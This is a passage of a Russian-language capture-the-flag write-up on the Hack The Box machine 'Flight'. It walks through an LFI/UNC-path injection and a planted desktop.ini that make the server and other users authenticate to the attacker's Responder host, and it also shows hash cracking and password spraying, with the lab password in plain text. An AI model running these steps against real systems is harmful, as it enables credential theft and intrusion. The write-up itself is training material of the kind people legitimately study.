HTB Flight. Повышаем привилегии в Windows

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий
  • SeImpersonatePrivilege

В этом рай­тапе я покажу, как похищать пароли поль­зовате­лей Windows раз­ными спо­соба­ми, пос­ле чего мы зах­ватим веб‑сер­вер, прой­дя по цепоч­ке уяз­вимос­тей, которые поз­волят нам раз за разом повышать при­виле­гии.

На­ша цель — получить пра­ва супер­поль­зовате­ля на тре­ниро­воч­ной машине Flight с пло­щад­ки Hack The Box. Машина оце­нена как слож­ная.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.187 flight.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

В резуль­татах ска­ниро­вания видим мно­го откры­тых пор­тов, что типич­но для Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Apache 2.4.52;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP/RPC/EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • 9389 — веб‑служ­бы AD DS.

Ано­ним­ная аутен­тифика­ция ниг­де не дос­тупна, поэто­му идем на веб‑сер­вер.

Глав­ная стра­ница сай­та 

Точка входа

На стар­товой стра­нице ничего най­ти не уда­лось, поэто­му необ­ходимо рас­ширить область тес­тирова­ния. Самый оче­вид­ный спо­соб — перебо­ром поис­кать скры­тые домены и катало­ги. Я это делаю при помощи ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fs — филь­тр, исклю­чающий стра­ницы по раз­меру;
  • -H — HTTP-заголо­вок.

Мес­то перебо­ра помеча­ем сло­вом FUZZ.

Ко­ман­да получа­ется сле­дующая:

ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

На­ходим новый под­домен и вно­сим его в файл /etc/hosts.

10.10.11.187 flight.htb school.flight.htb

Глав­ная стра­ница сай­та school.flight.htb

Об­рати вни­мание, что заг­ружа­емая стра­ница ука­зыва­ется в качес­тве парамет­ра view. Про­верим, нет ли здесь уяз­вимос­ти LFI, и ука­жем в парамет­ре view файл index.php.

http://school.flight.htb/index.php?view=index.php

Ре­зуль­тат про­вер­ки LFI

Ви­дим на стра­нице какой‑то код на PHP. Сто­ит озна­комить­ся с ним поб­лиже.

Ис­ходный код стра­ницы

Мы узна­ем путь к фай­лам сай­та, а так­же исполь­зуемые для обра­бот­ки парамет­ра филь­тры. Так как не филь­тру­ется пос­ледова­тель­ность //, мы можем зас­тавить веб‑сер­вер обра­тить­ся к любому уда­лен­ному сер­веру. При этом Windows попыта­ется авто­ризо­вать­ся на ука­зан­ном ресур­се, и мы получим NetNTLMv2-хеш пароля поль­зовате­ля веб‑сер­вера. Что­бы ловить такие хеши, запус­каем на локаль­ном хос­те ути­литу Responder.

sudo responder -v -I tun0

Те­перь ука­зыва­ем свой адрес и ловим хеш.

http://school.flight.htb/index.php?view=//10.10.14.16/share

Ло­ги Responder

От­прав­ляем хеш на перебор, в качес­тве режима hashcat (параметр -m) ука­зыва­ем 5600, соот­ветс­тву­ющий хешу NetNTLMv2.

hashcat -m 5600 5600.hash rockyou.txt

Ре­зуль­тат перебо­ра хеша

Про­веря­ем учет­ные дан­ные на при­мере служ­бы SMB с помощью CrackMapExec.

crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'

Про­вер­ка учет­ных дан­ных

Учет­ные дан­ные вер­ны, поэто­му получа­ем дос­тупные сетевые ресур­сы и спи­сок поль­зовате­лей.

crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares

Ре­зуль­тат выпол­нения зап­роса 

Точка опоры

Да­вай под­клю­чим­ся к обще­му ресур­су Web и прос­мотрим его содер­жимое.

impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187

Со­дер­жимое SMB-ресур­са Web

Ни­чего, кро­ме катало­гов сай­тов, там не находим. Одна­ко текущая учет­ная запись — слу­жеб­ная, и у поль­зовате­ля, ско­рее все­го, есть еще и основная. Поп­робу­ем зай­ти в дру­гие учет­ки с тем же паролем.

crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

Спрей най­ден­ного пароля

По­луча­ем еще одну под­кон­троль­ную учет­ную запись. Теперь про­веря­ем, какие общие катало­ги дос­тупны новому поль­зовате­лю.

crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares

Дос­тупные общие ресур­сы SMB

Для записи дос­тупен каталог Shared. Боль­ше ничего най­ти не уда­лось, ресурс ока­зал­ся пус­тым. Тог­да воз­никла идея похитить NetNTLMv2-пароли дру­гим спо­собом. В этот раз будем исполь­зовать файл desktop.ini, в котором параметр IconResource ука­зыва­ет на наш внеш­ний ресурс.

[.ShellClassInfo]
IconResource=\10.10.14.51share

Лю­бой поль­зователь, который прос­мотрит этот каталог, авто­мати­чес­ки обра­тит­ся к нашему ресур­су и при этом пре­дос­тавит учет­ные дан­ные.

impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187

Со­дер­жимое обще­го ресур­са

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *